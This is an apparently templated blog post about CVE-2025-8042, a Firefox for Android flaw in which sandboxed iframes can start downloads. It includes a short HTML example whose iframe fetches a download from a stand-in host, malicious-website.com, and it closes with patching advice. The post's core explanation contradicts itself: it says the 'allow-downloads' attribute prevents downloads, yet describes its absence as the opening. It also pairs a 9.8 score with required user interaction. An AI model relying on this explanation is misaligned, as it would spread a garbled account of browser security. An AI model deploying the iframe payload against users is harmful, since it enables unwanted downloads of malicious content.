Overview
This blog post will delve into the details of a critical vulnerability, CVE-2025-8042, affecting Firefox for Android. This vulnerability, which has been assigned a CVSS Severity Score of 9.8, poses a significant risk to both personal and corporate Android users of Firefox versions earlier than 141. The issue lies in the browser’s handling of sandboxed iframes, which, due to a lack of proper restrictions, can initiate unwarranted downloads. Such a security flaw could lead to potential system compromise or data leakage, making it a matter of high priority.
Vulnerability Summary
CVE ID: CVE-2025-8042
Severity: Critical (9.8/10 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Firefox for Android | Versions earlier than 141
How the Exploit Works
The exploit leverages a security oversight in Firefox for Android where a sandboxed iframe without the `allow-downloads` attribute can initiate downloads. This attribute, when applied, is designed to prevent downloads within sandboxed iframes, thereby adding a layer of security against malicious downloads. However, with the attribute missing, an attacker can create a webpage embedding a malicious iframe targeting Firefox users. Once a user visits the webpage, the iframe can trigger an unsolicited download of potentially harmful content onto the user’s device.
Conceptual Example Code
Consider a malicious actor who creates a webpage with an embedded iframe designed to trigger an unwanted download. The code might look something like this:
<!DOCTYPE html>
<html>
<body>
<iframe sandbox src="http://malicious-website.com/malicious-download">
</iframe>
</body>
</html>In this example, the malicious download is initiated from `malicious-website.com`, and the `sandbox` attribute is present, but `allow-downloads` is notably absent. A user visiting this page with a vulnerable version of Firefox for Android would inadvertently initiate the download.
To mitigate this vulnerability, users are strongly advised to install the latest vendor patch from Firefox. As a temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability. Regular patching and updates are crucial to maintaining a secure digital presence.